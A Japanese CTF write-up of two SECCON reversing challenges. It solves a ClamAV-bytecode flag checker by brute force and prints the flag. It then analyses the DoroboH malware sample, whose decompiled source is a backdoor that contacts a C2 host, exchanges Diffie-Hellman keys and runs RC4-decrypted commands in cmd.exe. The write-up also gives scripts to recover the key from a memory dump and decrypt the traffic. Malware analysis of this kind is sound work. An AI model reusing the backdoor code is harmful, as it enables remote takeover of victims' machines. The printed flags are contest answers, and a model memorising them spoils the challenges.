まず各関数の最初に出力されている、変数と定数について確認する。上から4つはグローバル変数で、残りの2つの関数でも同じものが出力されている。続いてローカル変数とこの関数で使われている定数が出力されているが、ローカル変数と定数とで関係なく通しの番号(ID)が振られている。型は i1, i32, [22 x i8] といったような表記でLLVMっぽい。

found a total of 4 globals
GID  ID    VALUE
------------------------------------------------------------------------
  0 [  0]: i0 unknown
  1 [  1]: [22 x i8] unknown
  2 [  2]: i8* unknown
  3 [  3]: i8* unknown
------------------------------------------------------------------------
found 2 values with 0 arguments and 2 locals
VID  ID    VALUE
------------------------------------------------------------------------
  0 [  0]: i1
  1 [  1]: i32
------------------------------------------------------------------------
found a total of 2 constants
CID  ID    VALUE
------------------------------------------------------------------------
  0 [  2]: 21(0x15)
  1 [  3]: 0(0x0)
------------------------------------------------------------------------
found a total of 4 total values

関数の本体を見ていく。各命令やオペランドの意味は、命令の名前やINSTに表示されている説明を見るとなんとなくわかる。ときどきわからないものも出てくるけれども、VMソースコードとかを確認すればよい。

各命令にはIDXとインデックスが振られているほか、別にBBという番号も振られている。これは OP_BC_JMPOP_BC_BRANCH といったジャンプする命令で使われる番号で、たとえば jmp bb.2 ではBBが2である最初の命令にジャンプするし、br 0 ? bb.1 : bb.2 ではIDが0のローカル変数・定数の値によって、bb.1bb.2 のいずれかのブランチにジャンプする。

命令中では、ローカル変数や定数は先程説明したIDによって参照される。たとえば、IDXが0の命令である 0 = call F.1 () では、F.1 という関数を呼び出して、その返り値をIDが0であるローカル変数に格納する。別の関数にある命令だが、37 = 130 * 131 はIDがそれぞれ130, 131であるローカル変数もしくは定数をかけ合わせた上で、IDが37であるローカル変数に格納する。19 = read[1] (p.3, 117) という命令のように、IDの前に p. というプレフィクスが付いた場合には、そのローカル変数をポインタとして扱うことを意味する。おそらく。

これらのことを踏まえてこの関数を読んでいく。F.1 を呼び出して、その返り値がtrueであれば bb.1 に、falseであれば bb.2 にジャンプしている。OP_BC_CALL_API というのは read, write, setvirusname といったAPIを呼び出せる命令で、いわばシステムコールのようなもの。どんなAPIがあるかは、bytecode_api.h で確認できる。今回 bb.1 で呼び出されているのは setvirusname で、発見されたウイルスの名前を設定するらしい。この挙動の差異で clamscan の終了コードを変えるのだろう。

FUNCTION ID: F.0 -> NUMINSTS 5
BB   IDX  OPCODE              [ID /IID/MOD]  INST
------------------------------------------------------------------------
  0    0  OP_BC_CALL_DIRECT   [32 /160/  0]  0 = call F.1 ()
  0    1  OP_BC_BRANCH        [17 / 85/  0]  br 0 ? bb.1 : bb.2

  1    2  OP_BC_CALL_API      [33 /168/  3]  1 = setvirusname[4] (p.-2147483645, 2)
  1    3  OP_BC_JMP           [18 / 90/  0]  jmp bb.2

  2    4  OP_BC_RET           [19 / 98/  3]  ret 3

次は F.1 を読んでいきたいが、ちょっと長いのでかいつまんで説明する。いくつか聞き慣れない命令があるので確認すると、

  • OP_BC_ICMP_ULT: Internet Control Message Protocolとは関係ない。ICMP はintegerのcompare、ULT はunsignedとしてのless thanを意味するっぽい
  • OP_BC_GEPZ: GEPは GetElementPtr を意味するっぽい。x86LEA みたいなもんかな
  • OP_BC_SEXT: signedなextensionっぽい

といった感じだった。だいたいLLVMの命令セットにもとづいていそうなので、困ったらLLVMのマニュアルを参照すればよさそう。

この関数がどんな挙動をするか確認する。最初の bb.0 でまず seek(7, 0) しているが、これは seek の実装も確認すると、与えられたファイルの頭7バイトを読み飛ばしていることがわかる。与えられているファイルは flag.txt なので、SECCON{ の部分を読み飛ばしているのだろう。

FUNCTION ID: F.1 -> NUMINSTS 115
BB   IDX  OPCODE              [ID /IID/MOD]  INST
------------------------------------------------------------------------
  0    0  OP_BC_GEPZ          [36 /184/  4]  5 = gepz p.4 + (104)
  0    1  OP_BC_GEPZ          [36 /184/  4]  7 = gepz p.6 + (105)
  0    2  OP_BC_CALL_API      [33 /168/  3]  8 = seek[3] (106, 107)
  0    3  OP_BC_COPY          [34 /174/  4]  cp 108 -> 2
  0    4  OP_BC_JMP           [18 / 90/  0]  jmp bb.2

1文字ずつ read してるっぽい処理。IDX 5の 9 = (18 < 109) で参照されているID 18は何文字読み込んだかというループカウンタ、ID 109は36という定数で、要は36文字読み込むまで read し続けている。read の第一引数は読み込み先のアドレスを、第二引数は読み込むバイト数を意味している。読み込み先はID 4のローカル変数(型は alloc [36 x i8])だ。

IDX 15の 17 = (16 < 114) とIDX 18の br 17 ? bb.7 : bb.1 について、ID 16は read の返り値、つまり読み込んだバイト数で、ID 114は1という定数であるから、もしファイルからの読み込みができなければ(SECCON{ 以降に36文字なければ) bb.7 にジャンプするという処理をしていることになる。

  1    5  OP_BC_ICMP_ULT      [25 /129/  4]  9 = (18 < 109)
  1    6  OP_BC_COPY          [34 /174/  4]  cp 18 -> 2
  1    7  OP_BC_BRANCH        [17 / 85/  0]  br 9 ? bb.2 : bb.3

  2    8  OP_BC_COPY          [34 /174/  4]  cp 2 -> 10
  2    9  OP_BC_SHL           [8  / 44/  4]  11 = 10 << 110
  2   10  OP_BC_ASHR          [10 / 54/  4]  12 = 11 >> 111
  2   11  OP_BC_TRUNC         [14 / 73/  3]  13 = 12 trunc ffffffffffffffff
  2   12  OP_BC_GEPZ          [36 /184/  4]  14 = gepz p.4 + (112)
  2   13  OP_BC_GEP1          [35 /179/  4]  15 = gep1 p.14 + (13 * 65)
  2   14  OP_BC_CALL_API      [33 /168/  3]  16 = read[1] (p.15, 113)
  2   15  OP_BC_ICMP_SLT      [30 /153/  3]  17 = (16 < 114)
  2   16  OP_BC_ADD           [1  /  9/  0]  18 = 10 + 115
  2   17  OP_BC_COPY          [34 /174/  4]  cp 116 -> 0
  2   18  OP_BC_BRANCH        [17 / 85/  0]  br 17 ? bb.7 : bb.1

bb.7 は以下のようにID 0のローカル変数を返り値に関数を終了している処理になっている。ここまででこのローカル変数は一切触られていないが、何が入っているのだろう。0かな。

  7  112  OP_BC_COPY          [34 /174/  4]  cp 0 -> 102
  7  113  OP_BC_TRUNC         [14 / 70/  0]  103 = 102 trunc ffffffffffffffff
  7  114  OP_BC_RET           [19 / 95/  0]  ret 103

bb.1, bb.2 の読み込み処理がいい感じに終わると bb.3 に飛ぶ。もう1文字 read して、IDX 22の 22 = (21 == 119) でID 119の定数と比較している。その値は125で、ASCIIに直すと } だ。それでフラグが終わりかチェックしているらしい。もしそうなら bb.4 に、そうでなければ bb.7 に飛んでいる。

  3   19  OP_BC_CALL_API      [33 /168/  3]  19 = read[1] (p.3, 117)
  3   20  OP_BC_ICMP_SGT      [27 /138/  3]  20 = (19 > 118)
  3   21  OP_BC_COPY          [34 /171/  1]  cp 3 -> 21
  3   22  OP_BC_ICMP_EQ       [21 /106/  1]  22 = (21 == 119)
  3   23  OP_BC_AND           [11 / 55/  0]  23 = 20 & 22
  3   24  OP_BC_COPY          [34 /174/  4]  cp 120 -> 0
  3   25  OP_BC_BRANCH        [17 / 85/  0]  br 23 ? bb.4 : bb.7

bb.4 ではまた read している。IDX 27の 25 = (24 > 122) で参照されているID 122の定数は0で、要は } より後に何もないかチェックしているようだ。もし何かあれば bb.7 に、何もなければ bb.5 に飛ぶ。

  4   26  OP_BC_CALL_API      [33 /168/  3]  24 = read[1] (p.3, 121)
  4   27  OP_BC_ICMP_SGT      [27 /138/  3]  25 = (24 > 122)
  4   28  OP_BC_COPY          [34 /174/  4]  cp 123 -> 1
  4   29  OP_BC_COPY          [34 /174/  4]  cp 124 -> 0
  4   30  OP_BC_BRANCH        [17 / 85/  0]  br 25 ? bb.7 : bb.5

先程読み込んだフラグについてなにやら処理をしている。IDX 37の load 32 <- p.31 で4バイト分読み込み(ID 32のローカル変数の型がi32であることからわかる)、それを引数として F.2 という関数を呼び出している。そして、その返り値をIDX 46の store 33 -> p.40 でID 7というローカル変数に格納している。これを9回繰り返す。全部終わったら bb.6 にジャンプする。

  5   31  OP_BC_COPY          [34 /174/  4]  cp 1 -> 26
  5   32  OP_BC_SHL           [8  / 44/  4]  27 = 26 << 125
  5   33  OP_BC_ASHR          [10 / 54/  4]  28 = 27 >> 126
  5   34  OP_BC_TRUNC         [14 / 73/  3]  29 = 28 trunc ffffffffffffffff
  5   35  OP_BC_GEPZ          [36 /184/  4]  30 = gepz p.4 + (127)
  5   36  OP_BC_GEP1          [35 /179/  4]  31 = gep1 p.30 + (29 * 65)
  5   37  OP_BC_LOAD          [39 /198/  3]  load  32 <- p.31
  5   38  OP_BC_CALL_DIRECT   [32 /163/  3]  33 = call F.2 (32)
  5   39  OP_BC_SHL           [8  / 44/  4]  34 = 26 << 128
  5   40  OP_BC_ASHR          [10 / 54/  4]  35 = 34 >> 129
  5   41  OP_BC_TRUNC         [14 / 73/  3]  36 = 35 trunc ffffffffffffffff
  5   42  OP_BC_MUL           [3  / 18/  0]  37 = 130 * 131
  5   43  OP_BC_GEP1          [35 /179/  4]  38 = gep1 p.7 + (37 * 65)
  5   44  OP_BC_MUL           [3  / 18/  0]  39 = 132 * 36
  5   45  OP_BC_GEP1          [35 /179/  4]  40 = gep1 p.38 + (39 * 65)
  5   46  OP_BC_STORE         [38 /193/  3]  store 33 -> p.40
  5   47  OP_BC_ADD           [1  /  9/  0]  41 = 26 + 133
  5   48  OP_BC_ICMP_ULT      [25 /129/  4]  42 = (41 < 134)
  5   49  OP_BC_COPY          [34 /174/  4]  cp 41 -> 1
  5   50  OP_BC_BRANCH        [17 / 85/  0]  br 42 ? bb.5 : bb.6

先程フラグを4バイトずつ F.2 に投げた結果について、ひとつひとつ別の定数と比較している。1個でも違っていれば、ID 0のローカル変数には0が入る。

  6   51  OP_BC_LOAD          [39 /198/  3]  load  43 <- p.7
  6   52  OP_BC_ICMP_EQ       [21 /108/  3]  44 = (43 == 135)
  6   53  OP_BC_MUL           [3  / 18/  0]  45 = 136 * 137
  6   54  OP_BC_GEP1          [35 /179/  4]  46 = gep1 p.7 + (45 * 65)
  6   55  OP_BC_MUL           [3  / 18/  0]  47 = 138 * 139
  6   56  OP_BC_GEP1          [35 /179/  4]  48 = gep1 p.46 + (47 * 65)
  6   57  OP_BC_LOAD          [39 /198/  3]  load  49 <- p.48
  6   58  OP_BC_ICMP_EQ       [21 /108/  3]  50 = (49 == 140)
  6   59  OP_BC_AND           [11 / 55/  0]  51 = 44 & 50
  6   60  OP_BC_MUL           [3  / 18/  0]  52 = 141 * 142
  6   61  OP_BC_GEP1          [35 /179/  4]  53 = gep1 p.7 + (52 * 65)
  6   62  OP_BC_MUL           [3  / 18/  0]  54 = 143 * 144
  6   63  OP_BC_GEP1          [35 /179/  4]  55 = gep1 p.53 + (54 * 65)
  6   64  OP_BC_LOAD          [39 /198/  3]  load  56 <- p.55
  6   65  OP_BC_ICMP_EQ       [21 /108/  3]  57 = (56 == 145)
  6   66  OP_BC_AND           [11 / 55/  0]  58 = 51 & 57
  6   67  OP_BC_MUL           [3  / 18/  0]  59 = 146 * 147
  6   68  OP_BC_GEP1          [35 /179/  4]  60 = gep1 p.7 + (59 * 65)
  6   69  OP_BC_MUL           [3  / 18/  0]  61 = 148 * 149
  6   70  OP_BC_GEP1          [35 /179/  4]  62 = gep1 p.60 + (61 * 65)
  6   71  OP_BC_LOAD          [39 /198/  3]  load  63 <- p.62
  6   72  OP_BC_ICMP_EQ       [21 /108/  3]  64 = (63 == 150)
  6   73  OP_BC_AND           [11 / 55/  0]  65 = 58 & 64
  6   74  OP_BC_MUL           [3  / 18/  0]  66 = 151 * 152
  6   75  OP_BC_GEP1          [35 /179/  4]  67 = gep1 p.7 + (66 * 65)
  6   76  OP_BC_MUL           [3  / 18/  0]  68 = 153 * 154
  6   77  OP_BC_GEP1          [35 /179/  4]  69 = gep1 p.67 + (68 * 65)
  6   78  OP_BC_LOAD          [39 /198/  3]  load  70 <- p.69
  6   79  OP_BC_ICMP_EQ       [21 /108/  3]  71 = (70 == 155)
  6   80  OP_BC_AND           [11 / 55/  0]  72 = 65 & 71
  6   81  OP_BC_MUL           [3  / 18/  0]  73 = 156 * 157
  6   82  OP_BC_GEP1          [35 /179/  4]  74 = gep1 p.7 + (73 * 65)
  6   83  OP_BC_MUL           [3  / 18/  0]  75 = 158 * 159
  6   84  OP_BC_GEP1          [35 /179/  4]  76 = gep1 p.74 + (75 * 65)
  6   85  OP_BC_LOAD          [39 /198/  3]  load  77 <- p.76
  6   86  OP_BC_ICMP_EQ       [21 /108/  3]  78 = (77 == 160)
  6   87  OP_BC_AND           [11 / 55/  0]  79 = 72 & 78
  6   88  OP_BC_MUL           [3  / 18/  0]  80 = 161 * 162
  6   89  OP_BC_GEP1          [35 /179/  4]  81 = gep1 p.7 + (80 * 65)
  6   90  OP_BC_MUL           [3  / 18/  0]  82 = 163 * 164
  6   91  OP_BC_GEP1          [35 /179/  4]  83 = gep1 p.81 + (82 * 65)
  6   92  OP_BC_LOAD          [39 /198/  3]  load  84 <- p.83
  6   93  OP_BC_ICMP_EQ       [21 /108/  3]  85 = (84 == 165)
  6   94  OP_BC_AND           [11 / 55/  0]  86 = 79 & 85
  6   95  OP_BC_MUL           [3  / 18/  0]  87 = 166 * 167
  6   96  OP_BC_GEP1          [35 /179/  4]  88 = gep1 p.7 + (87 * 65)
  6   97  OP_BC_MUL           [3  / 18/  0]  89 = 168 * 169
  6   98  OP_BC_GEP1          [35 /179/  4]  90 = gep1 p.88 + (89 * 65)
  6   99  OP_BC_LOAD          [39 /198/  3]  load  91 <- p.90
  6  100  OP_BC_ICMP_EQ       [21 /108/  3]  92 = (91 == 170)
  6  101  OP_BC_AND           [11 / 55/  0]  93 = 86 & 92
  6  102  OP_BC_MUL           [3  / 18/  0]  94 = 171 * 172
  6  103  OP_BC_GEP1          [35 /179/  4]  95 = gep1 p.7 + (94 * 65)
  6  104  OP_BC_MUL           [3  / 18/  0]  96 = 173 * 174
  6  105  OP_BC_GEP1          [35 /179/  4]  97 = gep1 p.95 + (96 * 65)
  6  106  OP_BC_LOAD          [39 /198/  3]  load  98 <- p.97
  6  107  OP_BC_ICMP_EQ       [21 /108/  3]  99 = (98 == 175)
  6  108  OP_BC_AND           [11 / 55/  0]  100 = 93 & 99
  6  109  OP_BC_SEXT          [15 / 79/  4]  101 = 100 sext 1
  6  110  OP_BC_COPY          [34 /174/  4]  cp 101 -> 0
  6  111  OP_BC_JMP           [18 / 90/  0]  jmp bb.7

bb.6 で参照されている定数は以下の通り。

 31 [135]: 1939767458(0x739e80a2)
 36 [140]: 984514723(0x3aae80a3)
 41 [145]: 1000662943(0x3ba4e79f)
 46 [150]: 2025505267(0x78bac1f3)
 51 [155]: 1593426419(0x5ef9c1f3)
 56 [160]: 1002040479(0x3bb9ec9f)
 61 [165]: 1434878964(0x558683f4)
 66 [170]: 1442502036(0x55fad594)
 71 [175]: 1824513439(0x6cbfdd9f)

これで、F.2 を読んで、その返り値から元の値を求める処理を書けばよいということがわかった。F.2 を読んでいく…といっても、SHL, LSHR, AND, XORといったビット演算で引数をこねくり回しているだけであまり面白みはない。

found 18 values with 1 arguments and 17 locals
VID  ID    VALUE
------------------------------------------------------------------------
  0 [  0]: i32 argument
  1 [  1]: alloc i64
  2 [  2]: alloc i64
  3 [  3]: i64
  4 [  4]: i64
  5 [  5]: i32
  6 [  6]: i32
  7 [  7]: i32
  8 [  8]: i32
  9 [  9]: i32
 10 [ 10]: i32
 11 [ 11]: i32
 12 [ 12]: i32
 13 [ 13]: i32
 14 [ 14]: i32
 15 [ 15]: i1
 16 [ 16]: i64
 17 [ 17]: i64
------------------------------------------------------------------------
found a total of 8 constants
CID  ID    VALUE
------------------------------------------------------------------------
  0 [ 18]: 0(0x0)
  1 [ 19]: 181056448(0xacab3c0)
  2 [ 20]: 3(0x3)
  3 [ 21]: 255(0xff)
  4 [ 22]: 8(0x8)
  5 [ 23]: 24(0x18)
  6 [ 24]: 1(0x1)
  7 [ 25]: 4(0x4)
------------------------------------------------------------------------
found a total of 26 total values
------------------------------------------------------------------------
FUNCTION ID: F.2 -> NUMINSTS 22
BB   IDX  OPCODE              [ID /IID/MOD]  INST
------------------------------------------------------------------------
  0    0  OP_BC_COPY          [34 /174/  4]  cp 18 -> 2
  0    1  OP_BC_COPY          [34 /174/  4]  cp 19 -> 1
  0    2  OP_BC_JMP           [18 / 90/  0]  jmp bb.1

  1    3  OP_BC_COPY          [34 /174/  4]  cp 1 -> 3
  1    4  OP_BC_COPY          [34 /174/  4]  cp 2 -> 4
  1    5  OP_BC_TRUNC         [14 / 73/  3]  5 = 3 trunc ffffffffffffffff
  1    6  OP_BC_TRUNC         [14 / 73/  3]  6 = 4 trunc ffffffffffffffff
  1    7  OP_BC_SHL           [8  / 43/  3]  7 = 6 << 20
  1    8  OP_BC_LSHR          [9  / 48/  3]  8 = 0 >> 7
  1    9  OP_BC_AND           [11 / 58/  3]  9 = 8 & 21
  1   10  OP_BC_XOR           [13 / 68/  3]  10 = 9 ^ 5
  1   11  OP_BC_SHL           [8  / 43/  3]  11 = 10 << 22
  1   12  OP_BC_LSHR          [9  / 48/  3]  12 = 5 >> 23
  1   13  OP_BC_OR            [12 / 63/  3]  13 = 11 | 12
  1   14  OP_BC_ADD           [1  /  8/  0]  14 = 6 + 24
  1   15  OP_BC_ICMP_EQ       [21 /108/  3]  15 = (14 == 25)
  1   16  OP_BC_SEXT          [15 / 79/  4]  16 = 14 sext 20
  1   17  OP_BC_SEXT          [15 / 79/  4]  17 = 13 sext 20
  1   18  OP_BC_COPY          [34 /174/  4]  cp 16 -> 2
  1   19  OP_BC_COPY          [34 /174/  4]  cp 17 -> 1
  1   20  OP_BC_BRANCH        [17 / 85/  0]  br 15 ? bb.2 : bb.1

  2   21  OP_BC_RET           [19 / 98/  3]  ret 13
------------------------------------------------------------------------

解く

F.2 の返り値から元の値を求める処理を書く。Z3を使ってもいいけれども、PythonF.2 を書き直すのがちょっと面倒だった。なので、Cで F.2 を書き直して、ブルートフォースで探し出すことにする。

#include <stdio.h>

unsigned int f2(unsigned int v0) {
  unsigned int v2 = 0;
  unsigned int v1 = 0xacab3c0;
  unsigned int v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17;

  do {
    v3 = v1;
    v4 = v2;
    v5 = v3;
    v6 = v4;
    v7 = v6 << 3;
    v8 = v0 >> v7;
    v9 = v8 & 0xff;
    v10 = v9 ^ v5;
    v11 = v10 << 8;
    v12 = v5 >> 24;
    v13 = v11 | v12;
    v14 = v6 + 1;
    v2 = v14;
    v1 = v13;
  } while (v14 != 4);

  return v13;
}

unsigned int crack(unsigned int t) {
  unsigned int x;
  for (int a = 0x20; a < 0x7d; a++) {
    for (int b = 0x20; b < 0x7d; b++) {
      for (int c = 0x20; c < 0x7d; c++) {
        for (int d = 0x20; d < 0x7d; d++) {
          x = a | (b << 8) | (c << 16) | (d << 24);
          if (f2(x) == t) return x;
        }
      }
    }
  }
}

int main() {
  unsigned int s[9] = {
    0x739e80a2, 0x3aae80a3, 0x3ba4e79f, 0x78bac1f3, 0x5ef9c1f3, 0x3bb9ec9f, 0x558683f4, 0x55fad594, 0x6cbfdd9f
  };
  unsigned int t[10] = {0};
  int i;

  for (i = 0; i < 9; i++) {
    t[i] = crack(s[i]);
    printf("%s\n", (char *) t);
  }
  printf("SECCON{%s}\n", (char *) t);

  return 0;
}

実行する。

$ gcc -o a a.c; ./a
byT3
byT3c0d3
byT3c0d3_1nT
byT3c0d3_1nT3rpr
byT3c0d3_1nT3rpr3T3r
byT3c0d3_1nT3rpr3T3r_1s_
byT3c0d3_1nT3rpr3T3r_1s_4_L0
byT3c0d3_1nT3rpr3T3r_1s_4_L0T_0f
byT3c0d3_1nT3rpr3T3r_1s_4_L0T_0f_fun
SECCON{byT3c0d3_1nT3rpr3T3r_1s_4_L0T_0f_fun}

フラグが得られた。

SECCON{byT3c0d3_1nT3rpr3T3r_1s_4_L0T_0f_fun}

このwriteupでは真面目にバイトコードを全部読んだけれども、実は本番では終了時刻が迫っていたのもあって、あまり真面目に読んでいなかった。F.1 に怪しげな定数がいっぱいあること、その定数が bb.6 で参照されていること、F.2 がなにか怪しげな変換をしていることを確認していた。Cのコードに直して、ブルートフォースでいくつか怪しげな定数の元の値を特定しようとしたところ、ちゃんと文章として読める文字列が出てきたので、最後に書いたCコードのようにちゃんとしたソルバを書いてフラグを得ていた。

(本番では解けず) [Reversing 179] DoroboH (27 solves)

I found a suspicious process named "araiguma.exe" running on my computer. Before removing it, I captured my network and dumped the process memory. Could you investigate what the malware is doing?

添付ファイル: doroboh.tar.gz

The program is a malware. Do not run it unless you understand its behavior.

添付ファイルを展開すると、README.txt, araiguma.exe.bin, network.pcap, araiguma.DMP の4つのファイルが出てくる。まず README.txt を読んでみると、以下のように出てきたファイルの解説が書かれていた。araiguma.exe.bin はPEファイルで、これを実行している最中に発生したパケットをキャプチャしたのが network.pcap、そして araiguma.exe.bin のメモリダンプが araiguma.DMP らしい。

The following diagram discribes what each file is.
Do not run araiguma.exe unless you fully understand the logic.

+-- Victim Machine --+       +-- Attacker Machine --+
| +--------------+   |       |   +-------------+    |
| | araiguma.exe |<------------->| kitsune.exe |    |
| +--------------+   |   ^   |   +-------------+    |
|        ^           |   |   |                      |
+--------|-----------+   |   +----------------------+
         |               |
  Memory |               | Packet
   Dump  |               | Capture
         |               |
  [ araiguma.DMP ] [ network.pcapng ]

IDA Freewareで araiguma.exe.binデコンパイルする。main 関数が本体っぽく、ここで CryptGenKey やら CryptSetKeyParam やらCryptoAPIを呼び出している。0xAA02u だの 0xBu だのよくわからないマジックナンバーが多いので、"Use standard symbolic constant" やGoogleを活用しつつ元の定数を特定する。

出来上がったのがこちら。やっていることは単純で、C&Cサーバと思われる 192.168.3.6:8080Diffie-Hellman鍵共有で共通鍵を共有した後に、RC4で暗号化された命令を受け取り、それを cmd.exe に渡して実行しているという感じ。p, g は固定値で、バイナリにハードコーディングされている。クライアントが生成する秘密の値である x は、CryptSetKeyParam(phKey, KP_X, 0i64, 0) からわかるようにランダムに生成されている。共通鍵の長さは64バイトだ。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  DWORD dwBytes; // [rsp+38h] [rbp-48h] BYREF
  int dwBytes_4; // [rsp+3Ch] [rbp-44h] BYREF
  struct sockaddr name; // [rsp+40h] [rbp-40h] BYREF
  struct WSAData WSAData; // [rsp+50h] [rbp-30h] BYREF
  char buf[4]; // [rsp+1F0h] [rbp+170h] BYREF
  DWORD pdwDataLen; // [rsp+1F4h] [rbp+174h] BYREF
  HCRYPTKEY hKey; // [rsp+1F8h] [rbp+178h] BYREF
  HCRYPTKEY phKey; // [rsp+200h] [rbp+180h] BYREF
  HCRYPTPROV hProv; // [rsp+208h] [rbp+188h] BYREF
  BYTE v13[4]; // [rsp+210h] [rbp+190h] BYREF
  void *v14; // [rsp+218h] [rbp+198h]
  BYTE pbData[4]; // [rsp+220h] [rbp+1A0h] BYREF
  void *v16; // [rsp+228h] [rbp+1A8h]
  LPCSTR lpParameters; // [rsp+238h] [rbp+1B8h]
  BYTE *v18; // [rsp+240h] [rbp+1C0h]
  SOCKET s; // [rsp+248h] [rbp+1C8h]
  BYTE *v20; // [rsp+250h] [rbp+1D0h]
  HANDLE hHeap; // [rsp+258h] [rbp+1D8h]

  _main();
  *(_DWORD *)pbData = 64;
  v16 = &g_P;
  *(_DWORD *)v13 = 64;
  v14 = &g_G;
  hHeap = GetProcessHeap();
  if ( !hHeap )
    return 1;
  if ( !(unsigned int)CryptAcquireContext(
                        &hProv,
                        0i64,
                        MS_ENH_DSS_DH_PROV,
                        PROV_DSS_DH,
                        CRYPT_VERIFYCONTEXT) )
    return 1;
  if ( CryptGenKey(hProv, CALG_DH_EPHEM, ((64 * 8) << 16) | CRYPT_EXPORTABLE | CRYPT_PREGEN, &phKey)
    && CryptSetKeyParam(phKey, KP_P, pbData, 0)
    && CryptSetKeyParam(phKey, KP_G, v13, 0)
    && CryptSetKeyParam(phKey, KP_X, 0i64, 0) )
  {
    if ( CryptExportKey(phKey, 0i64, PUBLICKEYBLOB, 0, 0i64, &pdwDataLen) )
    {
      v20 = (BYTE *)HeapAlloc(hHeap, 0, pdwDataLen);
      if ( v20 )
      {
        if ( CryptExportKey(phKey, 0i64, PUBLICKEYBLOB, 0, v20, &pdwDataLen) )
        {
          WSAStartup(2u, &WSAData);
          s = socket(2, 1, 0);
          name.sa_family = 2;
          *(_WORD *)name.sa_data = htons(8080u);
          inet_pton(2, "192.168.3.6", &name.sa_data[2]);
          if ( !connect(s, &name, 16) )
          {
            send(s, (const char *)&pdwDataLen, 4, 0);
            send(s, (const char *)v20, pdwDataLen, 0);
            recv(s, buf, 4, 0);
            v18 = (BYTE *)HeapAlloc(hHeap, 0, *(unsigned int *)buf);
            if ( v18 )
            {
              recv(s, (char *)v18, *(int *)buf, 0);
              if ( CryptImportKey(hProv, v18, *(DWORD *)buf, phKey, 0, &hKey) )
              {
                dwBytes_4 = CALG_RC4;
                if ( CryptSetKeyParam(hKey, KP_ALGID, (const BYTE *)&dwBytes_4, 0) )
                {
                  memset(v18, 0, *(unsigned int *)buf);
                  while ( recv(s, (char *)&dwBytes, 4, 0) == 4 )
                  {
                    lpParameters = (LPCSTR)HeapAlloc(hHeap, 0, dwBytes);
                    if ( !lpParameters )
                      break;
                    recv(s, (char *)lpParameters, dwBytes, 0);
                    if ( !CryptDecrypt(hKey, 0i64, 1, 0, (BYTE *)lpParameters, &dwBytes) )
                    {
                      HeapFree(hHeap, 0, (LPVOID)lpParameters);
                      break;
                    }
                    ShellExecuteA(0i64, "open", "cmd.exe", lpParameters, 0i64, 0);
                    memset((void *)lpParameters, 0, dwBytes);
                    HeapFree(hHeap, 0, (LPVOID)lpParameters);
                  }
                }
              }
              HeapFree(hHeap, 0, v18);
            }
            closesocket(s);
          }
          WSACleanup();
        }
        HeapFree(hHeap, 0, v20);
      }
    }
    CryptDestroyKey(phKey);
  }
  CryptReleaseContext(hProv, 0);
  return 0;
}

そういうわけで、Wiresharknetwork.pcap を開いて ip.addr==192.168.3.6 というフィルターを適用すると、この通信が出てくる。赤色が 192.168.3.6 に送っているパケット、青色が 192.168.3.6 から受け取っているパケットだ。サイズとデータの順番で送ることを繰り返している。上の2つのデータがDH鍵共有の過程で、それぞれ g^(クライアントが生成したランダムな整数) mod pg^(サーバが生成したランダムな整数) mod p を含んでいる。デコンパイル後のCのコードを読めばわかるように、これは PUBLICKEYBLOB だ。残りの2つは、これで共有した鍵を使って暗号化されたデータ(実行されたOSコマンド)だ。

メモリダンプにクライアントが生成したランダムな整数が含まれていないか。バイナリにハードコーディングされていた p, g を手がかりに探してみたが見つからず、本番ではここで競技が終了した。

keymoonさんとの情報共有に使っていたDiscordチャンネルで、こういうことを言っていた。やってみよう。

araiguma.DMP から、1バイトずつずらしつつ64バイトずつ取ってクライアントが生成したランダムな整数として扱い、もし pow(G, (試す64バイトの値), P) == Y が成り立っていれば、それが正解ということになる。

import binascii
import re
from scipy.stats import entropy

def convert(x):
  return int(''.join(re.findall(r'.{2}', x)[::-1]), 16)

P = convert('EDA1539BD82605033A885229F87754CF1DAB603AB9B01FE3A3694E84B62F02201FE16E25CDBB74563205026A8F7B9A89805271EEF8A64B91B1350376C1CE21CF')
G = convert('14CF6B2FCAE951A6FD4DABEA9229BBB83FB456541B8E7CE71E6850024B447BA313C88369C01ADE06116D0DAB930FAEFB961777869B7DCD72CE1F80364906797C')
Y = convert('46A717B1D54537E862F6BA6F809AED0021AFC44B8C95C9BEC809518F10001CC96489AD8914E1D4E008AA60BE8FE36F9B156E358940BBC1AA709098D93957E637') # G^X mod P

with open('araiguma.DMP', 'rb') as f:
  s = f.read()
  i = -1

  while True:
    i += 1
    x = binascii.hexlify(s[i:i+64]).decode()
    x = convert(x)
    if entropy(list(s[i:i+64]), base=2) < 5:
      continue
    if pow(G, x, P) == Y:
      print(i, x)
      break

実行するとうまくいった。

$ python3 s.py
/usr/lib/python3/dist-packages/scipy/stats/_distn_infrastructure.py:2614: RuntimeWarning: invalid value encountered in true_divide
  pk = 1.0*pk / np.sum(pk, axis=0)
427985 2344618307122276117526105644791537353238896527977093611129867424699078521987904923121325275715002035014589922916061279366844456994221929836397943446215914

network.pcap から g^(サーバが生成したランダムな整数) mod p と暗号化されたデータを取ってきて復号するスクリプトを書く。

import binascii
import re
from Crypto.Cipher import ARC4

def convert(x):
  return int(''.join(re.findall(r'.{2}', x)[::-1]), 16)

P = convert('EDA1539BD82605033A885229F87754CF1DAB603AB9B01FE3A3694E84B62F02201FE16E25CDBB74563205026A8F7B9A89805271EEF8A64B91B1350376C1CE21CF')
G = convert('14CF6B2FCAE951A6FD4DABEA9229BBB83FB456541B8E7CE71E6850024B447BA313C88369C01ADE06116D0DAB930FAEFB961777869B7DCD72CE1F80364906797C')

Y = convert('288f76749ec20b9ab18c618418ae9a70722618dc685e667fc0c19b906a6aa3a571f473ea0eaada269f29860d55ddcba0367ee6f7a1fac83d2d7395482930b3b8')
X = 2344618307122276117526105644791537353238896527977093611129867424699078521987904923121325275715002035014589922916061279366844456994221929836397943446215914
K = pow(Y, X, P)

k = binascii.unhexlify(hex(K)[2:])
k = k[::-1][:16]

s = binascii.unhexlify(b'8c28c20d027aa8bc9a71b107022421e907340de0f9a4c540611f2d95b560f8435fdb44ecb38876ddab1fe3ffcaf26aeb65b7f7f4d1d0bc6ceec521c77c27cd0ffba4a9d007228c478288b906b64d832be9822e123ec4a5abbc155a24b63a8c657c05ff6148124f')
print(ARC4.new(k).decrypt(s))
